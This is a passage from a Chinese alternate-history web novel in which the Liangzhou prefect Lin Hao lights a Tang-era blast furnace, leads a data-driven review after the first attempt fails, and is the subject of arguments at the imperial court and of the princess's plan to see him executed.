那个小本子上记录的,就是这门学问的精髓!
马周脑中冒出一个惊人的念头:林浩背后,一定有一个神秘的师门!
或者,他得到了一部不属于这个时代的“学问典籍”!
这个发现,比亲眼看到高炉建起来,更让马周感到震撼和心悸。
“林大人,所有准备都就绪了!”
张铁柱跑过来,声音因为激动而颤抖。
工地上,所有的工匠,还有闻讯赶来的科学院其他部门的人,全都围了过来。
他们仰着头,看着那座沉默的庞然大物,眼神里充满了敬畏和期待。
他们知道,自己正在见证历史。
如果这东西真的能把石头烧成水……
那他们,就是亲手创造神迹的人!
林浩从管道上跳下来,拍了拍手上的灰。
他走到高炉前,环视了一圈众人激动、紧张、混杂着些许迷信的脸。
有人甚至在小声地祈求山神土地保佑。
林浩突然笑了:“都看着我干嘛?等我杀猪宰羊,给这铁疙瘩磕头吗?”
众人一阵哄笑,紧张的气氛顿时缓和了不少。
“我告诉你们,今天,我们不拜天,不拜地,也不拜鬼神!”
林浩高高举起火把,火光映照着他年轻而自信的脸,“因为科学,没有侥幸!”
“我们烧了三炉废砖,才找到了正确的温度;我们改了七次图纸,才解决了风道的问题!我们做的每一个准备,都不是拍脑袋想出来的,是算出来的!是试出来的!”
“所以,接下来,就是实践检验真理的时刻!”
他的声音变得铿锵有力。
“成功了,我们开庆功宴,我请大家喝最好的酒,吃最肥的肉!”
“失败了!”他顿了顿,目光扫过每一个人,“我们就把这堆破烂拆了,坐下来,好好复盘,把所有数据再算一遍,然后,从头再来!”
没有一句豪言壮语,也没有半点虚无缥缈的许诺。
但这种极致的理性,却像一剂强心针,注入了每个人的心里。
是啊,怕什么?
大不了,从头再来!
所有人的眼神,都从紧张和忐忑,变成了坚定和坦然。
林浩满意地点点头,他要的,就是这股劲儿。
在数百道目光的注视下,他走到高炉底部的点火口,将手中的火把,缓缓伸了进去。
干燥的引火木瞬间被点燃。
“鼓风!”
林浩一声令下。
远处的水车开始转动,巨大的往复式鼓风机发出了沉闷的“呼哧”声。
一股强劲的气流被吸入风道,卷着火焰,猛地灌入高炉的腹心!
“嗡——”
一声沉闷的轰鸣,从高炉内部传来。
紧接着,轰鸣声越来越大,越来越响!
“嗡——嗡——轰——”
大地,在微微颤抖。
空气,在迅速升温。
那座笨拙的土黄色巨人,仿佛被唤醒的远古魔神,发出了震耳欲聋的咆哮!
大唐的第一座高炉,正式点火。
第18章:钦差被收买?公主请命斩国贼!
长安城,太极宫。
李丽质在自己的寝宫里来回踱步,脚步声在青石地面上敲出急促的节拍。
“公主,您都走了一个时辰了,歇歇吧。”小环端着茶水,小心翼翼地劝道。
“歇什么歇!”
李丽质猛地转身,眼中燃烧着怒火,“马周那个老狐狸,去了快一个月了,连个屁都不放!”
小环被吓了一跳。
自家公主平时金枝玉叶的,什么时候说过这么粗俗的话?
“公主,您别急,也许马大人是在仔细调查……”
“调查个鬼!”
李丽质一拍桌子,茶杯都跳了起来,“那个林浩就是个祸国殃民的败类,有什么好调查的?直接砍了不就完了!”
她越想越气。
那天在凉州,林浩那副懒洋洋的样子,还有那些莫名其妙的话,简直就是在挑衅皇室威严!
更可恨的是,他居然敢当着自己的面,说什么“科学改变世界”的鬼话!
什么科学?
不就是些奇技淫巧吗?
“公主,要不您去问问陛下?”小环试探着说。
李丽质眼睛一亮,对啊,去问父皇!
她风风火火地冲出寝宫,直奔太极殿。
太极殿内,李世民正在批阅奏折,看到女儿气冲冲地闯进来,不由得皱了皱眉。
“质儿,这么急躁做什么?”
“父皇!”李丽质直接跪在地上,“马周去凉州快一个月了,为什么还没有消息?那个林浩到底什么时候处决?”
李世民放下毛笔,看着女儿那张愤怒的脸,心里叹了口气。
这丫头,还是太年轻了。
“质儿,马周是朕的钦差,他自有分寸。你不要着急。”
“不着急?”李丽质声音都变尖了,“父皇,您知道凉州百姓过得什么日子吗?那个林浩就是个蛀虫,再不除掉他,凉州就完了!”
李世民心里苦笑。
女儿啊,你要是知道马周现在在干什么,估计能气晕过去。
“质儿,有些事情,不是你想的那么简单。”
“哪里不简单了?”李丽质急得眼泪都快出来了,“贪官污吏,人人得而诛之!这是父皇您教我的!”
就在这时,一个太监匆匆走了进来。
“陛下,长孙大人求见。”
李世民点点头:“让他进来。”
长孙无忌走进大殿,看到跪在地上的李丽质,眼中闪过一丝精光。
“臣参见陛下。”
“舅舅免礼。”李世民摆摆手,“有什么事?”
长孙无忌瞥了一眼李丽质,故意压低声音:“陛下,关于凉州的事情,臣有些担忧。”
李丽质耳朵一竖,立刻爬了起来。
“舅舅,凉州怎么了?是不是马周出事了?”
长孙无忌装作犹豫的样子:“这个……公主,有些事情不便明说。”
“什么不便明说?”李丽质急了,“舅舅,您就直说吧!”
长孙无忌看了看李世民,见皇帝没有阻止的意思,这才“无奈”地说道:
“公主,据臣所知,马大人在凉州遇到了一些……意料之外的情况。”
“什么意料之外?”
“那个林浩,可能用了某种手段,迷惑了马大人。”
长孙无忌叹了口气,“甚至有可能……收买了钦差。”
轰!
李丽质脑子里炸开了锅。
收买钦差?
那个林浩居然敢收买朝廷命官?
这还了得!
“父皇!”她转身看向李世民,眼中燃烧着熊熊怒火,“您听到了吗?那个林浩不仅祸害百姓,现在连钦差都敢收买!这种人不杀,天理难容!”
李世民头疼得要命。
长孙无忌这个老狐狸,明显是在挑拨离间。
但他又不能直接拆穿,毕竟马周那边确实没有消息传回来。
“质儿,事情可能不是你想的那样……”
“还不是我想的那样?”李丽质彻底爆发了,“父皇,您是不是也被那个林浩迷惑了?”
“胡说八道!”李世民怒了,“朕岂是那种昏君?”
“那您为什么不下旨,立刻处决林浩?”李丽质梗着脖子,“难道要等他把整个凉州都祸害完吗?”
李世民被女儿问得哑口无言。
他总不能说,朕其实很好奇那小子到底在搞什么鬼吧?
长孙无忌在旁边添油加醋:“陛下,公主说得有道理。如果任由此事发展下去,恐怕会影响朝廷威信。”
李丽质听了,更加坚定了自己的想法。
连舅舅都这么说,那就证明自己是对的!
她突然跪下,声音坚决:
“父皇,儿臣请求再次出巡凉州!”
“什么?”李世民一愣,“你又要去凉州?”
“对!”李丽质昂着头,“儿臣要亲自去监刑!要亲眼看到那个国之蛀虫伏法!”
“质儿,你……”
“父皇,您不是常说,皇室要为民做主吗?”
李丽质眼中闪着泪光,“凉州百姓水深火热,儿臣身为公主,怎么能坐视不管?”
李世民看着女儿那张坚定的脸,心里五味杂陈。
这丫头,还是那么单纯。
她哪里知道,现在的凉州,可能正在发生翻天覆地的变化。
“父皇,您就答应吧!”李丽质继续恳求,“儿臣保证,这次一定要为民除害!”
李世民沉默了很久。
说实话,他也很想知道马周到底在干什么。
让女儿去看看,也许是个不错的主意。
“好吧。”他终于点头,“但是,你要答应朕,不许胡来。”
“儿臣遵旨!”李丽质大喜,立刻磕头谢恩。
长孙无忌在旁边,嘴角露出一丝不易察觉的冷笑。
很好,这个小丫头片子,终于要去自投罗网了。
三天后,长安城外。
李丽质带着一队亲卫,轻车简从,准备出发。
“公主,我们这次去,是不是就能看到那个坏蛋刺史被砍头了?”小环兴奋地问道。
“当然!”李丽质坚定地点头,“国法如山,任何人都不能违抗!”
她翻身上马,回头看了一眼长安城的方向。
父皇,您等着吧。
女儿一定会为您清除这个祸害,维护皇室威严!
“出发!”
马蹄声响起,一行人扬长而去。
与此同时,凉州。
高炉的轰鸣声已经持续了整整一天一夜。
林浩站在炉前,满脸疲惫,但眼中却闪烁着兴奋的光芒。
“温度怎么样?”他问道。
“已经超过一千五百度了!”张铁柱激动得声音都在颤抖。
“很好,继续加料!”
马周站在不远处,看着那座咆哮的钢铁巨兽,心中震撼无比。
他知道,自己正在见证历史。
但他不知道的是,另一个“历史”,正在快马加鞭地赶来。
两条命运的线,即将在凉州交汇。
一场更大的风暴,即将来临。
第19章:失败?不,这是成功的开始!
“轰——轰——轰——”
高炉的咆哮声已经持续了整整两天两夜,整个凉州城都能听到这种前所未有的轰鸣。
林浩眼睛通红,胡子拉碴,手里紧紧握着一根细铁丝。
这根铁丝被他绑在一根长杆上,就是他自制的“光学高温计”——通过观察铁丝在高温下的颜色变化来判断炉内温度。
“林大人,您已经两天没合眼了!”张铁柱心疼地看着林浩,“要不您先去休息一下?”
“休息个屁!”林浩瞪着布满血丝的眼睛,“这是关键时刻,谁敢走一步,我就把谁绑炉子上!”
工匠们面面相觑,都不敢吭声。
他们也累得够呛,但看到林大人这副拼命三郎的架势,谁还好意思提休息?
马周蹲在不远处的石头上,下巴支在手上,眼神复杂地看着那座轰鸣的钢铁巨兽。
他的三千贯啊,全压在这个大大的土疙瘩上了。
要是成功了,他马周就是大唐第一个慧眼识珠的风投大佬。
要是失败了……
他就是史上最蠢的冤大头。
“温度够了!”林浩突然大喊,把所有人都吓了一跳。
他把铁丝从炉膛里拉出来,铁丝尖端呈现出刺眼的橙黄色,在夜色中像颗小太阳。
“一千六百度!达标了!”林浩的声音因为激动而颤抖,“准备出铁!所有人就位!”
工匠们瞬间精神起来,两天的疲惫一扫而空。
终于到了见证奇迹的时刻!
张铁柱和李三炮带着几个最强壮的工匠,扛着铁钎走向高炉底部的出铁口。
那里用特制的耐火泥封得严严实实。
“老张,你紧张不?”李三炮一边举起铁钎,一边小声问道。
“废话,能不紧张吗?”张铁柱咽了口唾沫,“要是真能出铁水,咱们就是亲手创造神迹的人!”
“要是出不来呢?”
“那咱们就是史上最大的笑话!”张铁柱苦笑,“全凉州的人都看着呢!”
确实,不知道什么时候,出铁口周围已经围了里三层外三层的围观群众。
有工匠,有官吏,有百姓,甚至还有几个胆大的商贩。
所有人都踮着脚,伸着脖子,想要亲眼见证这个传说中能把石头烧成水的奇迹。
“凿!”林浩一声令下。
铁钎狠狠砸向出铁口的封泥。
“咣——”
第一下,只砸下来一些泥屑。
“咣——咣——”
第二下,第三下,封泥开始松动。
所有人屏住呼吸,连心跳声都能听到。
马周的拳头紧紧攥着,指甲都掐进了肉里。
“咣——”
第四下重击!
封泥轰然破碎!
然后……
什么都没有。
出铁口黑洞洞的,静得像座坟墓。
“怎么回事?”有人小声嘀咕。
“不会是……”
“再凿!往里凿!”林浩急了,“可能是堵住了!”
张铁柱咬着牙,把铁钎伸进出铁口,用力捅了捅。
“有东西!”他兴奋地大喊,“有黏糊糊的东西!”
话音刚落,一股暗红色的黏稠液体缓缓从出铁口流了出来。
但这不是众人期望的金色铁水洪流,而是像稠粥一样的渣状物,颜色发暗,流动极慢。
“这……这是什么?”有工匠困惑地问。
更糟糕的是,这些黏糊糊的东西一接触空气,很快就凝固成了黑色的疙瘩,发出“嘶嘶”的响声。
现场瞬间死寂。
刚才的兴奋和期待,像被人泼了一盆冷水,瞬间冷却。
“就这?”
“搞了半天就这玩意儿?”
“我还以为真能烧出铁水呢!”
围观的百姓开始窃窃私语,声音里满是失望和嘲讽。
工匠们面面相觑,刚才脸上兴奋的潮红褪去,变成了失望和迷茫。
有老工匠摇着头叹气:“唉,到底还是触怒了山神爷。”
“就是,哪有把石头烧成水的道理?”
“林大人这次怕是玩脱了……”
马周的心猛地沉了下去,像被人塞了块铅块。
他的三千贯!
他全部的身家!
就换来了这一堆黑不溜秋的破烂?
他感觉脑袋嗡嗡响,眼前发黑,差点从石头上摔下来。
完了。
彻底完了。
他马周这辈子最大的一次投资,就这么打了水漂。
不,连水漂都没打出来,直接沉底了!
张铁柱垂头丧气地扔掉铁钎,一屁股坐在地上:“林大人,这……这咋整?”
李三炮也傻眼了,看着地上那些黑色疙瘩,欲哭无泪:“搞了半个月,就弄出这些破玩意儿?”
整个工地的气氛压抑到了极点,所有人都像霜打的茄子,蔫了。
就在所有人都垂头丧气,准备接受失败现实的时候——
“哈哈哈!太好了!”
一阵爽朗的大笑声突然响起。
所有人齐刷刷地转头看向林浩。
这家伙不但没有沮丧,反而兴奋得眼睛发光,像发现了什么宝贝似的!
“林大人,您……您没事吧?”张铁柱小心翼翼地问,生怕林浩受刺激疯了。
“没事?我好得很!”林浩蹲下身,用手指戳了戳那些黑色疙瘩,“你们知道这是什么吗?这可是无价之宝啊!”
“无……无价之宝?”
工匠们面面相觑,觉得林大人是不是真的疯了。
这些黑不溜秋的破烂,哪里像宝贝了?
“当然是宝贝!”林浩站起身,扫视全场,“第一次开炉就想成功?你们把炼铁当过家家呢?”
他指着那些凝固的渣块:“你们看到的不是失败,是数据!宝贵的第一手数据!”
“数……数据?”张铁柱一脸懵逼。
“对!”林浩越说越兴奋,“温度、配料比例、鼓风强度、燃烧时间,这些都是参数!现在我们知道了哪些参数不对,离正确答案就更近了一步!”
他拍了拍手:“所有人听着!立刻召开技术复盘会!把所有操作记录、温度记录、配料记录都拿过来!我要分析每一个细节!”
工匠们愣愣地看着他,完全跟不上这个节奏。
刚才还是天大的失败,怎么一转眼就变成宝贵经验了?
“还愣着干什么?”林浩催促道,“失败是成功他妈,咱们刚见了一次妈,离成功还远吗?”
这番话把工匠们逗乐了,刚才的沮丧情绪竟然神奇地消散了不少。
是啊,林大人都没放弃,他们有什么脸丧气?
第20章:复盘大会,马周折服
科学院的会议室。
工匠们垂头丧气地坐在长凳上,有的抱着脑袋,有的盯着地面发呆。
林浩站在黑板前,手里拿着一根粉笔,脸上没有半点沮丧的表情。
“好了,打起精神来。”他敲了敲黑板,“现在开始技术复盘会。负责各个环节的,逐一汇报。”
张铁柱第一个站起来,声音闷闷的:“林大人,我负责的鼓风机……”
“数据!我要数据!”
林浩打断他,“别跟我说感觉,说具体的。风力多大?持续时间多长?有没有波动?”
张铁柱愣了一下,赶紧翻开手里的破本子:“风力……大概能吹动三斤重的铁片,持续了两天两夜,中间……中间确实有几次停顿。”
“停顿多长时间?”
“每次大概一炷香的功夫,主要是水车卡住了。”
林浩在黑板上写下:鼓风不稳定,间歇性停顿。
“下一个,李三炮,你负责加料。”
李三炮战战兢兢地站起来:“大人,我按您说的,铁矿石和焦炭的比例是三比一……”
“矿石品质怎么样?有没有筛选?”
“这个……”李三炮挠挠头,“我们就是把大块的敲碎了,没别的。”
林浩又在黑板上写:矿石未分级,品位不均。
“王师傅,你负责测温。”
老王师傅小心翼翼地说:“大人,温度一直很高,铁丝都烧红了……”
“红到什么程度?橙红?还是白红?”
“这个……就是红的。”王师傅一脸茫然。
林浩叹了口气,在黑板上写:温度监控不精确。
他引导大家分析失败的原因:“问题出在哪里?是炉温不够?是配料比例错了?还是鼓风机的风力不稳定?”
工匠们面面相觑,都不敢吭声。
这时,一个老匠人小声嘀咕:“大人,也许是……风水不好。我们动土的时候,没有祭拜山神爷……”
“停!”林浩立刻打断他,“王师傅,在我这里,没有风水,只有数据!拿出你的温度记录!”
老王师傅被吓了一跳,赶紧把本子递过去。
林浩接过来一看,上面密密麻麻记录着各种时间点,但温度描述全是“很热”“特别热”“热得不行”这种模糊词汇。
“这叫什么记录?”林浩哭笑不得,“下次给我用数字!一千度、一千二百度、一千五百度,明白吗?”
马周坐在角落里,看着林浩在黑板上写写画画,心里五味杂陈。
这家伙,失败了还这么淡定?
不对,不是淡定,是兴奋!
他居然对失败感到兴奋!
通过对所有数据的汇总和分析,林浩很快在黑板上列出了几个关键问题:
第一,焦炭质量不稳定,含硫量过高。
第二,炉温在关键阶段出现波动,没能达到理论峰值。
第三,矿石品位不均,影响了化学反应。
第四,鼓风系统不够稳定,导致燃烧不充分。
“看到了吗?”林浩指着黑板,“四个问题,四个改进方向。这就是我们这次失败的最大收获!”
工匠们还是一脸懵逼。
失败还能有收获?
这是什么神仙逻辑?
林浩没有指责任何人,而是对所有人说:“科学研究,从来不是一蹴而就的。每一次失败,都是在排除一个错误答案。我们现在知道了这条路走不通,这就是最大的收获。”
他转身在黑板上画了个图:
“你们看,假设成功的方法有一万种,错误的方法有九万种。我们每排除一个错误方法,就离成功更近一步。今天我们排除了一个,明天再排除一个,总有一天,我们会找到那个正确答案!”
这套逻辑,让在场所有人都愣住了。
从来没有人这么解释过失败。
在他们的认知里,失败就是失败,丢人现眼,一无是处。
但林浩却说,失败是有价值的,是可以被利用的!
马周更是震撼得说不出话来。
这种思维方式,简直颠覆了他的三观!
林浩当场在黑板上列出了下一步的改进方案:
“第一,改进洗煤工艺。我要建一套水洗设备,把焦炭里的硫洗掉。”
“第二,优化鼓风机。水车联动装置要重新设计,确保风力恒定。”
“第三,建立矿石预处理流程。所有矿石必须先筛选,按品位分级,然后按比例配料。”
“第四,改进温度监控。我要制作标准的测温工具,精确到每一度!”
每说一条,他就在黑板上画出详细的示意图。
那些图纸虽然简陋,但逻辑清晰,一看就知道可行性很高。
工匠们的眼睛渐渐亮了起来。
原来,失败之后还有这么多事情可以做!
原来,每个问题都有对应的解决方案!
这套名为“复盘”的流程,让马周和所有工匠大开眼界。
他们第一次知道,失败不是结束,而是一个可以被分析、被学习、被利用的过程。
“大人,您的意思是,我们还要再试一次?”张铁柱小心翼翼地问。
“当然!”林浩拍着黑板,“而且不是一次,是无数次!直到成功为止!”
他的声音越来越激昂:“我允许你们失败,而且允许你们不断失败。但我要求,每一次失败,都必须留下数据,都必须让我们下一次做得更好!”
工匠们的眼神开始发生变化。
刚才的沮丧和迷茫,正在被一种全新的情绪取代。
那是解决问题的渴望,是挑战困难的冲动!
“现在,所有人,按照新方案,行动起来!”林浩一挥手,“张铁柱,你带人改造鼓风机!李三炮,你负责建矿石筛选场!王师傅,你跟我一起制作精密测温工具!”
“是!”
工匠们齐声应答,声音洪亮得震天响。
刚才还死气沉沉的会议室,瞬间变得热血沸腾。
这支刚刚经历了挫折的团队,在现代项目管理思想的武装下,爆发出比之前更强大的凝聚力和执行力。
马周看着这一切,心中的震撼已经无法用言语形容。
他终于明白了,为什么自己会被林浩折服。
这个年轻人,不仅仅是有知识,有技术。
更重要的是,他有一套完整的思维体系!
一套能够把失败转化为成功,把挫折转化为动力的神奇体系!
“马先生。”林浩走到马周身边,拍了拍他的肩膀,"你觉得咱们这次能成功吗?"
马周想了想:“按照您这套方法,成功是早晚的事。”
"那就好。"林浩拍了拍马周的肩膀,“因为我刚才看了看账本,您那三千贯,已经花得差不多了。”
马周的脸瞬间白了:"什么?"
“开玩笑的。”林浩坏笑,“还剩一千多贯呢。够咱们再试三次的。”
马周松了口气,然后又紧张起来:“三次够吗?"
"放心。"林浩信心满满,"有了数据支撑,下一次,绝对成。"
第21章:龙案前的不眠之夜
长安城,太极殿。
烛火跳跃,在龙案上投下摇晃的影子。
李世民独自坐在龙椅上,手中握着一卷厚厚的奏折,眉头紧锁。
偌大的太极殿里,只有他一个人。所有的太监宫女都被屏退了,就连贴身的王德,也被他挥手赶了出去。
这份奏折,就是马周从凉州送来的万言书。
一个时辰前,快马加鞭的信使将它送到了他的案头。李世民本以为会看到一份例行公事的处决报告,或者是马周请罪的奏章。
但他万万没想到,看到的竟是这样一份让他彻夜难眠的奏折。
奏折的第一页,就让他震惊得手都在发抖:
“臣马周,冒死上奏。林浩之罪,在于无君无父;林浩之功,在于经天纬地。”
什么叫无君无父?什么叫经天纬地?
李世民继续往下看,越看眉头皱得越紧。
“凉州城中,石砌大道纵横交错,平整如镜,车马行于其上,无颠簸之苦。此道非石非砖,乃林浩所创之‘水泥’所铺,坚固异常,百年不坏。”
水泥?
李世民放下奏折,揉了揉太阳穴。他什么时候听说过这个词?
继续往下看:
“林浩设科学院于凉州,广纳工匠,不分贵贱,只论才学。院中有图书馆,藏书万卷,工匠识字者众,皆能读书明理。”
科学院?图书馆?
这些词汇,他闻所未闻。
但更让他震撼的,是奏折中描述的那些制度:
“林浩立‘凉州基础法’,官吏权责分明,不得滥用职权。设监察司,专门监督官员,违法者必究。”
李世民的手指开始无意识地敲击龙案。
基础法?监察司?
这小子,胆子够大的啊!
他继续看下去,每一页都让他更加震惊:
“林浩创‘流水线’生产,一人负责一工序,效率倍增。工匠按件计酬,多劳多得,人人争先。”
“林浩推‘九年义务教育’,凡凉州子弟,无论贫富,皆可入学。学费全免,书本全供。”
“林浩设‘工伤保险’,工匠受伤,有银可医;工匠身亡,家属有养。”
每一个制度,都让李世民感到匪夷所思。
他抬起头,看向殿外的夜空。
星辰点点,寂静无声。
但他的心中,却掀起了惊涛骇浪。
这个林浩,到底是何方神圣?
李世民重新拿起奏折,翻到关键的那一页:
“臣亲见林浩建高炉炼铁,炉火冲天,轰鸣如雷。虽首次未成,但其复盘之法,令臣叹为观止。失败非终点,而是通向成功的阶梯。”
复盘?
李世民眯起眼睛。
马周的字里行间,透着一种前所未有的激动和敬佩。
这个刚正不阿、执法如山的御史,居然对一个犯官如此推崇?
他继续往下看:
“林浩有言:‘要想富,先修路。’短短六字,道尽治国之要。臣闻此言,如醍醐灌顶。”
“林浩又言:‘科学改变世界。’臣虽不解‘科学’为何物,但观其所为,确有改天换地之能。”
李世民放下奏折,长长地叹了口气。
这份奏折,彻底颠覆了他对林浩的认知。
按照女儿李丽质的说法,林浩就是一个贪赃枉法、祸害百姓的蛀虫。
但按照马周的描述,林浩简直就是一个经天纬地的旷世奇才!
到底谁说的是真的?
李世民了解马周的为人。这个人,宁死不屈,绝不撒谎。如果他说林浩有才,那林浩就真的有才。
但是......
李世民重新拿起奏折,翻到最后一页:
“臣请陛下三思。林浩虽有无君无父之嫌,但其治理凉州之功,不容抹杀。若杀之,则大唐失一旷世之才;若用之,则大唐得一富国之器。”
“臣愿以身家性命担保,林浩绝非逆贼,而是忠臣。其所为,皆为富民强国,绝无二心。”
看到这里,李世民的手停住了。
马周愿意以身家性命担保?
这意味着什么?
意味着如果他错了,就要人头落地!
李世民认识马周这么多年,从没见过他为任何人做出这样的担保。
但现在,他竟然为了一个素不相识的林浩,赌上了自己的命!
这说明什么?
说明马周真的被震撼了!被彻底折服了!
李世民站起身,走到窗前。
长安城的夜晚,万家灯火,一片祥和。
但他知道,在千里之外的凉州,正在发生着一场前所未有的变革。
一个名叫林浩的年轻人,正在用他那些闻所未闻的方法,改变着一切。
“水泥路、科学院、流水线、义务教育......”
李世民默默念着这些词汇,每一个都让他感到陌生,却又莫名地心动。
如果马周说的是真的,如果林浩真的能用这些方法富国强兵......
那他李世民,岂不是得到了一个千载难逢的机会?
但是!
李世民的眼中闪过一丝警惕。
林浩的那些制度,那些想法,太过超前,太过离经叛道!
什么叫“将权力关进笼子”?
什么叫“官吏权责分明”?
这不是在挑战皇权吗?
李世民重新坐回龙椅,拿起奏折,反复看着那句话:
“林浩之罪,在于无君无父;林浩之功,在于经天纬地。”
无君无父......
这四个字,让他既愤怒,又忌惮。
作为皇帝,他不能容忍任何人挑战君父的威严。
但作为一个明君,他又渴望得到能够富国强兵的人才。
这种矛盾,让他彻夜难眠。
他想起了女儿李丽质。
那丫头现在正在赶往凉州的路上,准备亲自监督林浩的处决。
如果让她看到现在的凉州,看到林浩的真面目......
会是什么反应?
李世民苦笑着摇摇头。
自己这个宝贝女儿,从小就性格刚烈,认死理。她认为林浩是坏人,就一定要看着他死。
但如果马周说的是真的......
那可就有好戏看了。
李世民重新拿起奏折,翻到其中一页:
“林浩有言:实践是检验真理的唯一标准。臣深以为然。”
实践是检验真理的唯一标准?
这句话,让李世民陷入了深思。
是啊,与其在这里胡思乱想,不如等等看。
看看林浩到底能不能成功炼出铁来。
看看他的那些制度,到底能不能真正富民强国。
看看他这个人,到底是忠还是奸。
李世民重新坐下,看着桌上跳跃的烛火。
夜还很长。
第22章:朝堂争辩,李世民的决断
第二天早朝,晨光透过高大的窗棂洒入,在青石地板上投下斑驳的光影。
李世民端坐龙椅,面色沉静如水,看不出丝毫情绪波动。
昨夜的彻夜未眠,让他的眼中多了几分深不可测的意味。
“有事启奏,无事退朝。”王德尖细的声音在大殿内回荡。
工部尚书段纶率先出列:“陛下,黄河决堤一事,臣已派人前往勘察……”
李世民点点头,随意应付着这些日常政务。
一件又一件政务处理完毕,朝会已过大半,李世民却始终没有提及凉州之事。
长孙无忌的眉头越皱越紧,心中焦急万分。
终于,在处理完户部的赋税报告后,李世民缓缓开口:“众卿,朕有一事相询。”
殿内瞬间安静下来,所有人都竖起了耳朵。
“对于边州治理,诸卿有何良策?”
这个问题看似平常,但在场的老狐狸们立刻嗅到了不寻常的味道。
边州?这不是在暗指凉州吗?
果然,一名御史立刻跳了出来。
这人叫刘德威,是长孙无忌的铁杆党羽,专门负责在朝堂上当炮灰。
“陛下!”刘德威声音洪亮,“臣闻监察御史马周奉旨巡查凉州,已近一月,至今杳无音信!”
“凉州刺史林浩罪大恶极,贪赃枉法,祸害百姓!一日不除,凉州百姓便多受一日煎熬!”
“马周身为监察之臣,却迟迟不归,恐有玩忽职守之嫌啊!”
这话一出,殿内顿时响起一片窃窃私语声。
长孙无忌见火候差不多,这才缓缓出列。
“陛下,刘御史所言极是。”他的声音不急不缓,但每个字都如刀锋般锐利,“马周乃陛下亲选的监察之臣,向来执法如山,铁面无私。”
“如今却滞留边陲,迟迟不归,这实在不合常理啊!”
长孙无忌说着,语气突然一转:“臣恐怕,马周已被奸人蒙蔽,甚至……同流合污!”
此言一出,朝堂上炸开了锅。
“什么?马周同流合污?”
“这怎么可能?马周那人硬得跟石头一样!”
“但是一个月不回来,确实奇怪……”
长孙无忌见效果达到,立刻趁热打铁:“臣恳请陛下,另派钦差,将马周与林浩一并锁拿回京,明正典刑,以正视听!”
“附议!”
“臣也附议!”
一时间,附和声此起彼伏,整个太极殿内群情激愤。
李世民静静地看着这一切,嘴角微微上扬。
演技不错嘛。
就在士族集团群情激愤之时,李世民不紧不慢地从龙案上拿起一卷奏折。
那卷奏折很厚,足有十几页,在晨光下泛着微黄的色泽。
“王德。”李世民轻声道。
“奴婢在。”
“念。”
王德接过奏折,展开第一页,清了清嗓子。
长孙无忌心中一紧。
不会是马周的奏折吧?那家伙又要搞什么鬼?
“监察御史马周奏……”王德的声音在大殿内响起。
果然是马周!
长孙无忌心中冷笑。
好啊,正好让大家看看这个所谓的铁面御史,到底写了什么混账话!
王德开始朗读:“臣至凉州,见林浩所为,大为震撼。其修筑水泥大道,宽可并行三车,路面平坦如镜……”
“水泥?”工部尚书段纶皱眉,“何为水泥?”
王德继续念道:“车行其上无声,日行可达三百里。”
“三百里?”段纶瞪大眼睛,“这怎么可能?普通道路日行百里已是极限!”
殿内开始出现第一次骚动。
但这只是开始。
王德翻过一页:“林浩创肥皂厂,设流水线生产,一人专司一工,效率倍增。女工亦可上工,计件取酬,月入数贯,可养活全家。”
“什么?!”魏征蹭地站了起来,胡子都在颤抖,“男女混杂,有伤风化!败坏纲常!”
“荒唐!简直荒唐!”另一名儒臣也跳了出来,“自古男主外女主内,岂有女子抛头露面之理?”
长孙无忌心中大喜。马周这个蠢货,居然帮自己送了这么好的材料!
王德毫不理会殿下的骚动,继续朗读:“林浩设科学院于凉州,广纳工匠,不分贵贱,只论才学。院中有图书馆,藏书万卷……”
“科学院?”太常寺卿孔颖达脸色铁青,“什么是科学?从未听闻!”
“还有这个图书馆!”另一名儒臣愤怒道,“工匠粗鄙,岂配读书?这不是糟蹋圣贤之学吗?”
王德继续念:“林浩有言:知识就是力量。又言:科学改变世界。”
这下儒臣们彻底炸了。
“胡说八道!”孔颖达怒不可遏,“自古以来,德行才是立身之本!什么知识力量,简直是妖言惑众!”
“圣人曰:学而时习之,学的是仁义礼智信!不是这些奇技淫巧!”
长孙无忌适时出声,冷笑道:“陛下,您听听,这奏折中所言,桩桩件件皆是荒谬绝伦,骇人听闻!”
“马周不是疯了,就是被那林浩用妖术洗了心智!”
“此二人,罪不容诛!”
李世民依然不为所动,只是淡淡道:“继续念。”
王德翻到了最关键的那一页,声音突然变得凝重:“臣马周,于凉州城下,当众焚毁圣旨,以人头为大唐贺。”
轰!
整个太极殿瞬间死寂。
所有人都被这句话震得目瞪口呆。
焚毁圣旨?
这是赤裸裸的抗旨啊!
长孙无忌眼中闪过狂喜。
太好了!马周这个蠢货,居然自己承认抗旨!
这下死定了!
在这极致的寂静中,一直沉默的房玄龄缓缓出列。
这位老相国面色凝重,向李世民深深一拜:“陛下,马周刚正不阿,天下共知。”
“其人宁死不屈,绝不撒谎。”
房玄龄抬起头,眼中满是困惑:“若非其所见所闻已颠覆其毕生所学,断不敢行此大逆不道之事。”
“臣以为,此事必有蹊跷。”
杜如晦立刻出列附和:“房相所言极是。马周之为人,朝野共知。在物证抵达之前,不宜妄下定论。”
“什么物证不物证的!”长孙无忌急了,“抗旨就是抗旨!还有什么好说的?”
“国舅爷莫急。”房玄龄不紧不慢地说,“马周在奏折中提到,凉州已有诸多变化,并承诺会有实物为证。”
“在见到这些证据之前,贸然定罪,恐有不妥。”
长孙无忌怒道:“什么证据?难道还能把那些水泥路搬到长安来不成?”
正当朝臣们吵成一团的时候,李世民终于开口了。
他的声音不大,但却让整个大殿瞬间安静下来。
“够了。”
李世民缓缓站起身,目光扫过殿下众臣。
“此事,朕自有决断。”
“在凉州物证抵京之前,任何人不得再议。”
“退朝!”
第23章:科学的胜利
凉州城外,高炉区。
十天时间,这里已经彻底变了样。
上次的狂热和迷信消失得无影无踪,取而代之的是一种紧张有序的专业氛围。
到处都是忙碌的身影,但每个人的动作都井然有序,没有一丝慌乱。
林浩站在新搭建的指挥台上,手里拿着一个用铁皮卷成的大声公,不断下达着指令。
“张铁柱!鼓风机二号位,风力检查完毕没有?”
“林大人!检查完毕!风力恒定,没有波动!”
“李三炮!第三批焦炭洗煤情况如何?”
“大人!硫含量已降至百分之二以下!完全达标!”
他的脚下,是一块画满了流程图和数据表格的巨大木板。
密密麻麻的线条和数字,看起来就像天书一般。但对林浩来说,这就是成功的密码。
整个工地被分成了几个区域,每个区域都有专人负责。
矿石筛选场里,几十名工人正用不同孔径的筛网,将矿石按大小分级。大的、中的、小的,分门别类地堆成了小山。
洗煤池边,李三炮正带着人,用水力驱动的搅拌装置清洗焦炭。黑色的煤水不断流淌,带走了大量的硫化物。
